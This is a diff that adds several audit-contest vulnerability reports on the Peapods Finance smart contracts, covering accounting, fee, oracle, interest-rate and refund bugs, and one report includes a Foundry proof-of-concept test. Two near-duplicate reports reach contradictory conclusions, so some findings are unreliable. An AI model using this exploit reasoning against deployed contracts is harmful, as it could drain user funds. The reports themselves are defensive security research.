+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L287-L305
+
+It does it by calculating the change in ratio from the current cbr to the new cbr:
+
+```solidity
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+```
+
+It is easier to work with actual numbers, so let's calculate with numbers (just for convenient using smaller decimals, but in reality the PRECISION would be likely to be larger like 1e18).
+
+----------
+
+Example case of cbr increase:
+- `_prevVaultCbr` = 100
+- new vault cbr from `convertToAssets(PRECISION)` = 120
+- the previous `vaultUtilization` is `1e20=100e18`
+
+-> `_vaultAssetRatioChanget` is the second case (increase in cbr)
+ = (PRECISION * 120) / 100 - PRECISION = PRECISION * 20 / 100
+
+-> `_changeUtilizedState` = vaultUtilization * `_vaultAssetRatioChange` / PRECISION
+ = `100e18` * PRECISION * 20 / 100 / PRECISION = 20e18
+
+-> the new vaultUtilization will be calculated using the second case (increase in cbr)
+ = `_currentAssetsUtilized` + `_changeUtilizedState`
+ = 100e18 + 20e18 = `120e18`
+
+---> this correctly count that the vault's holding increased by 20 percent.
+
+----------
+
+
+Now the example case of cbr decrease:
+- `_prevVaultCbr` = 120
+- new vault cbr from `convertToAssets(PRECISION)` = 100
+- the previous `vaultUtilization` is `120e18`
+
+-> `_vaultAssetRatioChanget` is the first case (decrease in cbr)
+ = (PRECISION * `_prevVaultCbr`) / `_vaultWhitelistCbr` - PRECISION
+ = (PRECISION * 120) / 100 - PRECISION = PRECISION * 20 / 100
+
+-> `_changeUtilizedState` = vaultUtilization * `_vaultAssetRatioChange` / PRECISION
+ = `120e18` * PRECISION * 20 / 100 / PRECISION = 24e18
+
+-> the new vaultUtilization will be calculated using the first case (decrease in cbr)
+ = `_currentAssetsUtilized` - `_changeUtilizedState`
+ = 120e18 - 24e18 = `96e18`
+
+---> However, this should be `100e18`. Because in the beginning this vault has 1 share which was 120e18, since the evaluation of share should proportionally decrease as the cbr decreases, hence 100e18.
+
+----------
+
+
+
+Whenever there is decrease in `cbr`, the utilization of the vault will decreased more than real decrease. As the result, the vault will underestimate in `vaultUtilization` and `_totalAssetsUtilized` and `_totalAssets`.
+
+Since the `_updateAssetMetadataFromVault` always tracks the utilization via ratio change, this mismatch can never corrected, even the `cbr` increases in the future.
+
+
+
+### Internal Pre-conditions
+
+- The `LendingAssetVault` has a whitelisted vault with potential `cbr` decrease. If the Fraxlend pair is used, this will happen when the pair has bad debts.
+
+
+### External Pre-conditions
+
+- the vault to track gets bad debts
+
+
+### Attack Path
+
+Attacker can buy shares in discount before redeem from vault, for example.
+
+
+### Impact
+
+The `vaultUtilization`, `_totalAssetsUtilized`, and `_totalAssets` will be incorrectly underestimated.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L303
+
+The `_totalAssets` is used to calculate `_cbr`, which in turn will be used to convert between shares and assets.
+So overall shares will be discounted.
+
+Also if the `vaultUtilization` is decreased below `vaultDeposits` of the vault, it may happen that the `vaultDeposits` has lingering value, even though all the shares are redeemed:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L325-L334
+
+These incorrect accounting with `vaultUtilization` and possibly `vaultDeposits` will make the `totalAvailableAssetsForVault` incorrect. This is problematic since they are used to determine allocation and assess overutilization, both for this particular vault and the total utilization across all vaults.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/libraries/VaultAccount.sol#L20
+
+
+
+### PoC
+
+The below PoC demonstrates the deviation of real vault utilization and the accounting of it in the LendingAssetVault.
+
+For ease of simulating bad debt the following function is added the mock ERC4626 vault:
+
+```solidity
+// ADDED FUNCTION TO test/mocks/TestERC4626Vault.sol
+ function simulateBadDebt(uint assetsSent) public {
+ IERC20(_asset).safeTransfer(address(0xdead), assetsSent);
+ }
+```
+
+The following test function is based on the `test_vaultDepositAndWithdrawWithCbrChange`.
+It logs the "real" lendingAssetVault's utilization by calculating the lendingAssetVault's holding of `_testVault`. It prints out both share amounts as well as the converted assets value.
+The `vaultUtilization` is supposed to keep track of the assets evaluation of the shares holding.
+
+After the `cbr` increases, the `vaultUtilization` is correctly updated. However once the `cbr` decreases via the `simulateBadDebt`the `vaultUtilization` deviates from the real evaluation.
+
+```solidity
+Ran 1 test for test/LendingAssetVault.t.sol:LendingAssetVaultTest
+[PASS] test_vaultDepositAndWithdrawWithCbrChange_POC() (gas: 476376)
+Logs:
+ lendingAssetsVault's holding in testVault as shares amount: 2500000000000000000
+ lendingAssetsVault's holding in testVault as assets amount: 5000000000000000000
+ vaultUtilization: 5000000000000000000
+ the assets in testVault is increased
+ and the vaultUtilization is updated
+ lendingAssetsVault's holding in testVault as shares amount: 2500000000000000000
+ lendingAssetsVault's holding in testVault as assets amount: 10000000000000000000
+ vaultUtilization: 10000000000000000000
+ the assets in testVault is reduced to simulate bad debt
+ and the vaultUtilization is updated
+ lendingAssetsVault's holding in testVault as shares amount: 2500000000000000000
+ lendingAssetsVault's holding in testVault as assets amount: 6666666666666666665
+ vaultUtilization: 4999999999999999997
+```
+
+```solidity
+ function test_vaultDepositAndWithdrawWithCbrChange_POC() public {
+ address[] memory vaults = new address[](1);
+ vaults[0] = address(_testVault);
+ uint256[] memory percentages = new uint256[](1);
+ percentages[0] = 10e18;
+ _lendingAssetVault.setVaultMaxAllocation(vaults, percentages);
+
+ uint256 _lavDepAmt = 10e18;
+ uint256 _extDepAmt = _lavDepAmt / 2;
+ _lendingAssetVault.deposit(_lavDepAmt, address(this));
+ assertEq(_lendingAssetVault.totalSupply(), _lavDepAmt);
+
+ _testVault.depositFromLendingAssetVault(address(_lendingAssetVault), _extDepAmt);
+ _asset.transfer(address(_testVault), _extDepAmt);
+ _testVault.withdrawToLendingAssetVault(address(_lendingAssetVault), _extDepAmt);
+
+ vm.roll(block.timestamp + 1);
+ _lendingAssetVault.withdraw(_lavDepAmt / 2, address(this), address(this));
+
+ uint256 _optimalBal = _asset.totalSupply() - _lavDepAmt / 2 - _extDepAmt;
+ assertEq(_asset.balanceOf(address(this)), _optimalBal);
+
+ uint sharesHolding = _testVault.balanceOf(address(_lendingAssetVault));
+ uint assetsHolding = _testVault.convertToAssets(sharesHolding);
+ emit log_named_uint("lendingAssetsVault's holding in testVault as shares amount", sharesHolding);
+ emit log_named_uint("lendingAssetsVault's holding in testVault as assets amount", assetsHolding);
+ emit log_named_uint("vaultUtilization", _lendingAssetVault.vaultUtilization(address(_testVault)));
+ /// @audit: simulate badDebt by getting assets out of _testVault
+ emit log("the assets in testVault is increased");
+ emit log("and the vaultUtilization is updated");
+ _asset.transfer(address(_testVault), _extDepAmt);
+ vm.startPrank(address(_testVault));
+ _lendingAssetVault.whitelistUpdate(true);
+ vm.stopPrank();
+
+ sharesHolding = _testVault.balanceOf(address(_lendingAssetVault));
+ assetsHolding = _testVault.convertToAssets(sharesHolding);
+ emit log_named_uint("lendingAssetsVault's holding in testVault as shares amount", sharesHolding);
+ emit log_named_uint("lendingAssetsVault's holding in testVault as assets amount", assetsHolding);
+ emit log_named_uint("vaultUtilization", _lendingAssetVault.vaultUtilization(address(_testVault)));
+
+ /// @audit: simulate badDebt by getting assets out of _testVault
+ emit log("the assets in testVault is reduced to simulate bad debt");
+ emit log("and the vaultUtilization is updated");
+ _testVault.simulateBadDebt(_testVault.totalAssets() / 3);
+ vm.startPrank(address(_testVault));
+ _lendingAssetVault.whitelistUpdate(true);
+ vm.stopPrank();
+
+ sharesHolding = _testVault.balanceOf(address(_lendingAssetVault));
+ assetsHolding = _testVault.convertToAssets(sharesHolding);
+ emit log_named_uint("lendingAssetsVault's holding in testVault as shares amount", sharesHolding);
+ emit log_named_uint("lendingAssetsVault's holding in testVault as assets amount", assetsHolding);
+ emit log_named_uint("vaultUtilization", _lendingAssetVault.vaultUtilization(address(_testVault)));
+ }
+```
+
+
+### Mitigation
+
+Correct the formula of `_updateAssetMetadataFromVault`
diff --git a/545.md b/545.md
new file mode 100644
index 0000000..2520b8a
--- /dev/null
+++ b/545.md
@@ -0,0 +1,101 @@
+Original Seaweed Narwhal
+
+Medium
+
+# Vulnerability Due to Use of `block.timestamp` as a Deadline in Uniswap V2 Swaps Functions
+
+## **Summary**
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/dex/UniswapDexAdapter.sol#L79
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/dex/UniswapDexAdapter.sol#L102
+
+The use of `block.timestamp` directly as a deadline in Uniswap V2 functions will cause transactions to fail unexpectedly for users as miners or front-running bots can delay execution, causing the transaction to expire before being included in a block.
+
+## **Root Cause**
+
+
+```solidity
+function swapV2Single(address _tokenIn,address _tokenOut,uint256 _amountIn,uint256 _amountOutMin,address _recipient) external virtual override returns (uint256 _amountOut) {
+
+uint256 _outBefore = IERC20(_tokenOut).balanceOf(_recipient);
+
+if (_amountIn == 0) {
+
+_amountIn = IERC20(_tokenIn).balanceOf(address(this));
+
+} else {
+
+IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn);
+
+}
+
+address[] memory _path = new address[](2);
+
+_path[0] = _tokenIn;
+
+_path[1] = _tokenOut;
+
+IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountIn);
+
+IUniswapV2Router02(V2_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
+
+_amountIn, _amountOutMin, _path, _recipient, block.timestamp <=== HERE
+
+);
+
+return IERC20(_tokenOut).balanceOf(_recipient) - _outBefore;
+
+}
+```
+
+
+In [`swapV2Single`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/dex/UniswapDexAdapter.sol#L79), `swapV2SingleExactOut`, `addLiquidity`, and `removeLiquidity`, the function calls Uniswap V2’s `swapExactTokensForTokensSupportingFeeOnTransferTokens` and other similar functions using `block.timestamp` as the deadline, making transactions vulnerable to front-running and unexpected failures.
+
+## **Internal Pre-conditions**
+
+1. The contract calls Uniswap V2’s `swapExactTokensForTokensSupportingFeeOnTransferTokens` with `block.timestamp` as the deadline.
+2. A user submits a transaction with a tight gas limit, causing it to remain pending in the mempool.
+
+## **External Pre-conditions**
+
+1. Gas fees fluctuate, causing the transaction to remain in the mempool longer than expected.
+2. A front-running bot sees the transaction and delays execution, causing it to fail due to an expired deadline.
+
+## **Attack Path**
+
+1. **User submits a transaction** calling `swapV2Single` or similar functions.
+2. **Transaction remains in the mempool** due to fluctuating gas fees.
+3. **A bot or miner delays execution** until the deadline expires.
+4. **The transaction fails** and reverts, resulting in frustration for users.
+## **Attack Path ( Explanation)**
+
+1. **User Initiates a Swap:**
+
+ - A user calls the `swapV2Single` function to swap tokens using Uniswap V2.
+ - The function internally calls `swapExactTokensForTokensSupportingFeeOnTransferTokens`, setting `block.timestamp` as the deadline.
+2. **Transaction Remains Pending:**
+
+ - Due to network congestion or a low gas fee, the transaction does not get included in the next block and stays in the mempool.
+3. **Miner or Bot Delays Execution:**
+
+ - A miner or a front-running bot detects the transaction and chooses to delay its inclusion in a block.
+ - If the transaction remains in the mempool for even a few seconds beyond the block's confirmation time, `block.timestamp` will have increased beyond the deadline.
+4. **Transaction Fails and Reverts:**
+
+ - When the transaction finally gets included in a block, the deadline check in Uniswap V2 fails, causing the transaction to revert.
+ - The user loses the gas fees spent on the failed transaction.
+5. **User Faces a Poor Experience:**
+
+ - The user is forced to resubmit the transaction with a higher gas fee or adjust parameters, causing frustration and inefficiency.
+
+## **Impact**
+
+The users suffer transaction failures due to expired deadlines, causing inconvenience, potential lost gas fees, and degraded user experience.
+
+
+## **Mitigation**
+
+1. **Allow user-defined deadlines**: Add a `_deadline` parameter in the function, which the user can specify based on their risk tolerance.
+2. **Add a grace period**: Instead of `block.timestamp`, use `block.timestamp + X seconds` where `X` is a buffer (e.g., `300` for 5 minutes).
+3. **Implement transaction monitoring**: Notify users when their transactions are at risk of expiration.
diff --git a/546.md b/546.md
new file mode 100644
index 0000000..b7f54b5
--- /dev/null
+++ b/546.md
@@ -0,0 +1,38 @@
+Sneaky Zinc Narwhal
+
+High
+
+# Wrong fee calculation in the bond function
+
+### Summary
+
+in the contract **WeightIndex** function _bond line 152 when calculating the **_feeTokens** we are using a wrong fee calculation instead of ```(_tokensMinted * (DEN -_fees.bond)) / DEN;``` we are using ```(_tokensMinted * _fees.bond) / DEN```; which is a wrong one we can see in the **debond function** line 178 we are using the first one which is ```(_amount * (DEN - _fees.debond)) / DEN;``` so which means that when calculating the fee in the bond function we are using a wrong way
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L152
+
+### Root Cause
+
+in the contract **WeightIndex** line 152 we are using ```(_tokensMinted * _fees.bond) / DEN```; instead of ```(_tokensMinted * (DEN -_fees.bond)) / DEN;```
+
+### Internal Pre-conditions
+
+nothing new
+
+### External Pre-conditions
+
+nothing new
+
+### Attack Path
+
+calling the bond function
+
+### Impact
+
+wrong calculation that lead to loss of fund for the user
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/547.md b/547.md
new file mode 100644
index 0000000..00341c2
--- /dev/null
+++ b/547.md
@@ -0,0 +1,73 @@
+Huge Cyan Cod
+
+Medium
+
+# aspToken price is incorrectly calculated when `hasSelfLendingPod` = true
+
+### Summary
+
+aspToken price is incorrectly calculated when `hasSelfLendingPod` = true
+
+### Root Cause
+
+In [spTokenMinimalOracle contract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L145C2-L168C6), if the paired token is a pod token or lending pair, it correctly calculates the price of it with following if checks:
+
+```solidity
+ function _calculateSpTknPerBase(uint256 _price18) internal view returns (uint256 _spTknBasePrice18) {
+ uint256 _priceBasePerPTkn18 = _calculateBasePerPTkn(_price18);
+ address _pair = _getPair();
+
+ (uint112 _reserve0, uint112 _reserve1) = V2_RESERVES.getReserves(_pair);
+ uint256 _k = uint256(_reserve0) * _reserve1;
+ uint256 _kDec = 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token0()).decimals()
+ * 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token1()).decimals();
+ uint256 _avgBaseAssetInLp18 = _sqrt((_priceBasePerPTkn18 * _k) / _kDec) * 10 ** (18 / 2);
+ uint256 _basePerSpTkn18 =
+ (2 * _avgBaseAssetInLp18 * 10 ** IERC20Metadata(_pair).decimals()) / IERC20(_pair).totalSupply();
+ require(_basePerSpTkn18 > 0, "V2R");
+ _spTknBasePrice18 = 10 ** (18 * 2) / _basePerSpTkn18;
+
+ // if the base asset is a pod, we will assume that the CL/chainlink pool(s) are
+ // pricing the underlying asset of the base asset pod, and therefore we will
+ // adjust the output price by CBR and unwrap fee for this pod for more accuracy and
+ // better handling accounting for liquidation path
+ if (BASE_IS_POD) {
+&> _spTknBasePrice18 = _checkAndHandleBaseTokenPodConfig(_spTknBasePrice18);
+ } else if (BASE_IS_FRAX_PAIR) {
+&> _spTknBasePrice18 = IFraxlendPair(BASE_TOKEN).convertToAssets(_spTknBasePrice18);
+ }
+```
+
+But if `hasSelfLendingPod` is equal to true. It should first convert to assets and then calculate the pod price because PAIRED_LP_TOKEN will be pfTKN ( podded lending pair share ). But there is no handling for this scenario and the price of the aspTKN/base will be wrong due to this issue.
+
+
+### Internal Pre-conditions
+
+No need
+
+### External Pre-conditions
+
+No need
+
+### Attack Path
+
+No need
+
+### Impact
+
+Basicly the normal calculation should be in this format:
+
+$$
+\frac{aspTKN}{USDC} * \frac{USDC}{fUSDC} * \frac{fUSDC}{pfUSDC} = \frac{aspTKN}{pfUSDC}
+$$
+
+But the last multiplication is missing here and the impact of the issue will depends on price difference between pfUSDC and fUSDC. Podded tokens use fee burning in buying and selling. Most probably podded token price will be higher than share token and it will affect liquidation scenarios.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Account the podded lending pair shares for the price calculation
\ No newline at end of file
diff --git a/548.md b/548.md
new file mode 100644
index 0000000..93e552e
--- /dev/null
+++ b/548.md
@@ -0,0 +1,47 @@
+Nutty Spruce Octopus
+
+Medium
+
+# Incorrect refund logic in `_addLeveragePostCallback` leads to potential fund misallocation
+
+### Summary
+
+The incorrect refund logic in `_addLeveragePostCallback` will cause a financial loss for the NFT operator as the remaining funds after flash loan repayment are always sent to the position NFT owner instead of the actual fund provider. This issue arises when the operator, rather than the owner, supplies the funds for leverage.
+
+### Root Cause
+
+In `_addLeveragePostCallback`, the refund is sent to `positionNFT.ownerOf(_props.positionId)`, assuming the owner is always the borrower. However, the borrower is the `msg.sender` in `addLeverage`, which may be an operator of the NFT rather than the actual owner. If the operator provides funds, they will not receive any refund, leading to unintended financial losses.
+
+[LeverageManager.addLeverage](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L75-L75)
+
+[LeverageManager._addLeveragePostCallback](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L337-L337)
+
+### Internal Pre-conditions
+
+1. An operator of an NFT position (not the owner) calls `addLeverage` and provides `_userProvidedDebtAmt` to reduce the flash loan amount.
+2. The leveraged position generates excess funds after repaying the flash loan.
+3. The contract incorrectly sends the excess funds to the position NFT owner instead of the operator who supplied them.
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. An operator of a position NFT calls `addLeverage` with `_userProvidedDebtAmt` to reduce the flash loan amount.
+2. The contract processes the leverage, repays the flash loan, and determines the remaining funds.
+3. Instead of refunding the remaining funds to the actual fund provider (the operator), the contract sends them to the NFT owner.
+4. The operator suffers an unintended financial loss as they do not receive the refund of their own contributed funds.
+
+### Impact
+
+The NFT operator suffers a financial loss proportional to the remaining funds after flash loan repayment, as they are incorrectly sent to the NFT owner. The NFT owner gains an unintended financial benefit if they are not the actual fund provider.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
+
diff --git a/549.md b/549.md
new file mode 100644
index 0000000..68df2c8
--- /dev/null
+++ b/549.md
@@ -0,0 +1,76 @@
+Huge Cyan Cod
+
+Medium
+
+# Interest rate can be manipulated by regular deposit calls
+
+### Summary
+
+Interest rate can be manipulated by regular deposit calls
+
+### Root Cause
+
+In [Variable Interest Rate calculation](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/VariableInterestRate.sol#L115), interest rate is updated based on the utilization ratio and it uses a specific formula for the calculation.
+
+If the utilization is higher than desired value, it increases the interest rate and if the utilization is lower than the desired value, it lowers the interest in order to adjust.
+
+The issue is users can intentionally manipulate the interest rate adjustment by calling low gas cost functions regularly and they can get extra advantage for themselves.
+
+```solidity
+ function getFullUtilizationInterest(uint256 _deltaTime, uint256 _utilization, uint64 _fullUtilizationInterest)
+ internal
+ view
+ returns (uint64 _newFullUtilizationInterest)
+ {
+ if (_utilization < MIN_TARGET_UTIL) {
+ // 18 decimals
+ uint256 _deltaUtilization = ((MIN_TARGET_UTIL - _utilization) * 1e18) / MIN_TARGET_UTIL;
+ // 36 decimals
+ uint256 _decayGrowth = (RATE_HALF_LIFE * 1e36) + (_deltaUtilization * _deltaUtilization * _deltaTime);
+ // 18 decimals
+ _newFullUtilizationInterest = uint64((_fullUtilizationInterest * (RATE_HALF_LIFE * 1e36)) / _decayGrowth);
+ } else if (_utilization > MAX_TARGET_UTIL) {
+ // 18 decimals
+ uint256 _deltaUtilization = ((_utilization - MAX_TARGET_UTIL) * 1e18) / (UTIL_PREC - MAX_TARGET_UTIL);
+ // 36 decimals
+ uint256 _decayGrowth = (RATE_HALF_LIFE * 1e36) + (_deltaUtilization * _deltaUtilization * _deltaTime);
+ // 18 decimals
+ _newFullUtilizationInterest = uint64((_fullUtilizationInterest * _decayGrowth) / (RATE_HALF_LIFE * 1e36));
+ } else {
+ _newFullUtilizationInterest = _fullUtilizationInterest;
+ }
+ if (_newFullUtilizationInterest > MAX_FULL_UTIL_RATE) {
+ _newFullUtilizationInterest = uint64(MAX_FULL_UTIL_RATE);
+ } else if (_newFullUtilizationInterest < MIN_FULL_UTIL_RATE) {
+ _newFullUtilizationInterest = uint64(MIN_FULL_UTIL_RATE);
+ }
+ }
+```
+
+### Internal Pre-conditions
+
+Utilization should be higher than max value or lower than min value
+
+### External Pre-conditions
+
+No need
+
+### Attack Path
+
+1. Let say utilization ratio is high because it's self lending pod
+2. Normally, the interest is updated in actions and if there is no lender, the interest will be increased in time
+3. Instead of waiting this adjustment, lender can supply his tokens and he can regularly call `depositCollateral` function which is cheap to execute and it also updates the interest rate.
+4. With that methodology, interest rate will be increased much faster than normal execution because of compounding effect.
+5. With that way, lender will earn much more than he should
+
+### Impact
+
+In provided scenario, both lenders and borrowers can manipulate the interest rate with regular deposit collateral calls and they can get extra advantage against the opposite side. It will be loss of funds for the opposite side due to unfair interest adjustment.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Fix is not trivial
\ No newline at end of file
diff --git a/550.md b/550.md
new file mode 100644
index 0000000..1bf8e53
--- /dev/null
+++ b/550.md
@@ -0,0 +1,51 @@
+Delightful Syrup Scorpion
+
+High
+
+# Double Debond Fee Application in `_calculateBasePerPTkn()`
+
+### Summary
+
+The debond fee is applied twice when calculating `_spTknBasePrice18` in the `spTknMinimalOracle` contract. This causes mispricing of `spTkn` which is used as collateral in the fraxlend pairs, causing unfair liquidations.
+
+### Root Cause
+
+in the `spTknMinimalOracle`, when `getPrices()` is called, the _calculateBasePerPTkn function makes two adjustements if `BASE_IS_POD`. One for the pod CBR, and one for the unwrap fee:
+```solidity
+ function _checkAndHandleBaseTokenPodConfig(uint256 _currentPrice18) internal view returns (uint256 _finalPrice18) {
+ _finalPrice18 = _accountForCBRInPrice(BASE_TOKEN, address(0), _currentPrice18);
+ _finalPrice18 = _accountForUnwrapFeeInPrice(BASE_TOKEN, _finalPrice18);
+ }
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/oracle/spTKNMinimalOracle.sol#L213-L216
+
+
+But when accounting for the CBR, it uses .convertToAssets() on the pod, which already accounts for the unwrap/debond fee:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/WeightedIndex.sol#L128
+So the debond fee is incorrectly applied twice when pricing the spTkn in the oracle.
+
+### Internal Pre-conditions
+
+Base token is a pod token
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+None
+
+### Impact
+
+spTkn token price is undervalued
+
+Since it is used as collateral in lending pairs, borrowers in the FraxLend pair will be unfairly liquidated.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Dont apply the debond fee twice
\ No newline at end of file
diff --git a/552.md b/552.md
new file mode 100644
index 0000000..52e2845
--- /dev/null
+++ b/552.md
@@ -0,0 +1,45 @@
+Delightful Syrup Scorpion
+
+High
+
+# Double Debond Fee Application in `_calculateBasePerPTkn()`
+
+### Summary
+
+The debond fee is applied twice when calculating `_spTknBasePrice18` in the `spTknMinimalOracle` contract. This causes mispricing of `spTkn` which is used as collateral in the fraxlend pairs, allowing excess borrows.
+
+### Root Cause
+
+in the `spTknMinimalOracle`, when `getPrices()` is called, the _calculateBasePerPTkn function makes two adjustements. One for the pod CBR, and one for the unwrap fee: https://github.com/peapodsfinance/contracts/blob/cb71391952a4e27653816046c1947bcc3ba32066/contracts/oracle/spTKNMinimalOracle.sol#L214-L220
+
+But when accounting for the CBR, it uses .convertToAssets() on the pod, which already accounts for the unwrap/debond fee:
+https://github.com/peapodsfinance/contracts/blob/cb71391952a4e27653816046c1947bcc3ba32066/contracts/WeightedIndex.sol#L128
+
+So the debond fee is incorrectly applied twice when pricing the spTkn in the oracle.
+
+
+### Internal Pre-conditions
+
+Base token is a pod token
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+None
+
+### Impact
+
+spTkn token price is overvalued
+
+Since it is used as collateral in lending pairs, borrowers in the FraxLend pair will be able to borrow more tokens than expected making it easier to reach bad debt without liquidation
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Dont apply the debond fee twice
\ No newline at end of file
diff --git a/553.md b/553.md
new file mode 100644
index 0000000..841bfbb
--- /dev/null
+++ b/553.md
@@ -0,0 +1,57 @@
+Rich Grey Crocodile
+
+Medium
+
+# Tokens waiting in `_rewardsSwapAmountInOverride` to be re-tried is not re-tried before `setShares` in `TokenRewards.sol`
+
+## Vulnerability Details
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/TokenRewards.sol#L292-L319
+
+Whenever the reward tokens come in to `TokenRewards.sol`:
+
+```solidity
+function _swapForRewards(uint256 _amountIn, uint256 _amountOut, uint256 _adminAmt) internal {
+ if (_rewardsSwapAmountInOverride > 0) {
+ _adminAmt = (_adminAmt * _rewardsSwapAmountInOverride) / _amountIn;
+ _amountOut = (_amountOut * _rewardsSwapAmountInOverride) / _amountIn;
+ _amountIn = _rewardsSwapAmountInOverride;
+ }
+ uint256 _balBefore = IERC20(rewardsToken).balanceOf(address(this));
+ IERC20(PAIRED_LP_TOKEN).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ try DEX_ADAPTER.swapV3Single(
+ PAIRED_LP_TOKEN,
+ rewardsToken,
+ REWARDS_POOL_FEE,
+ _amountIn,
+ _amountIn == REWARDS_SWAP_OVERRIDE_MIN ? 0 : (_amountOut * (1000 - REWARDS_SWAP_SLIPPAGE)) / 1000,
+ address(this)
+ ) {
+ _rewardsSwapAmountInOverride = 0;
+ if (_adminAmt > 0) {
+ _processAdminFee(_adminAmt);
+ }
+ _depositRewards(rewardsToken, IERC20(rewardsToken).balanceOf(address(this)) - _balBefore);
+ } catch {
+ _rewardsSwapAmountInOverride =
+ _amountIn / 2 < REWARDS_SWAP_OVERRIDE_MIN ? REWARDS_SWAP_OVERRIDE_MIN : _amountIn / 2;
+ IERC20(PAIRED_LP_TOKEN).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit RewardSwapError(_amountIn);
+ }
+}
+```
+
+There are some tokens that will be added to the variable `_rewardsSwapAmountInOverride` due to the fact that it needs to be re-tried since it failed to swap (maybe cause the DEX didn't have enough liquidity etc etc)
+
+However, we can see that `setShares` does not attempt to re-try the amounts sitting there atleast once.
+
+## Impact
+1. Alice is a shareholder of TokenRewards.sol
+2. Rewards come in and it is attempted to be swapped
+3. The swap failed due to lack of liqudity from the DEX, and the token amounts are sent to `_rewardsSwapAmountInOverride`
+4. Some time passes (and now maybe the DEX has sufficient liquidity)
+5. Bob becomes a shareholder of TokenRewards.sol through `setShares`
+
+Since `setShares` does not retry the amounts sitting in `_rewardsSwapAmountInOverride` atleast once at the start, Bob's shares will now include the value of the rewards, **unfairly dilutiing Alice's shares of the rewards**.
+
+## Recommendation
+At the starting of `setShares`, retry `_rewardsSwapAmountInOverride` once.
diff --git a/555.md b/555.md
new file mode 100644
index 0000000..c1e3ed1
--- /dev/null
+++ b/555.md
@@ -0,0 +1,47 @@
+Sneaky Zinc Narwhal
+
+High
+
+# some funds will not be converted nor returned to the depositor
+
+### Summary
+
+in the contract **TokenRewards** function **depositFromPairedLpToken** line 177 it will try to swap the **PAIRED_LP_TOKEN** into **reward** and it uses the function **_swapForRewards** and if **_rewardsSwapAmountInOverride** is greater than zero it will override the **amounin** variable and use that instead of the one that the user deposited so if **_rewardsSwapAmountInOverride** is less than the one that the user deposited it will try to swap a small amount the problem here is that the user will not receive the remaining amount which is (the amount that the user deposited - _rewardsSwapAmountInOverride)
+
+```solidity
+if (_rewardsSwapAmountInOverride > 0) {
+ _adminAmt = (_adminAmt * _rewardsSwapAmountInOverride) / _amountIn;
+ _amountOut = (_amountOut * _rewardsSwapAmountInOverride) / _amountIn;
+ _amountIn = _rewardsSwapAmountInOverride;
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L293
+
+### Root Cause
+
+in the function line 293 **_rewardsSwapAmountInOverride** will override the actual amount that the user deposited
+
+### Internal Pre-conditions
+
+**_rewardsSwapAmountInOverride** have to be greater than zero
+
+### External Pre-conditions
+
+nothing
+
+### Attack Path
+
+nothing
+
+### Impact
+
+the fund will not be convert or might even stack in the contract
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/556.md b/556.md
new file mode 100644
index 0000000..9d8db37
--- /dev/null
+++ b/556.md
@@ -0,0 +1,188 @@
+Crazy Cyan Worm
+
+High
+
+# `PodUnwrapLocker` will cause financial loss for users as debond fees are applied during lock creation
+
+### Summary
+
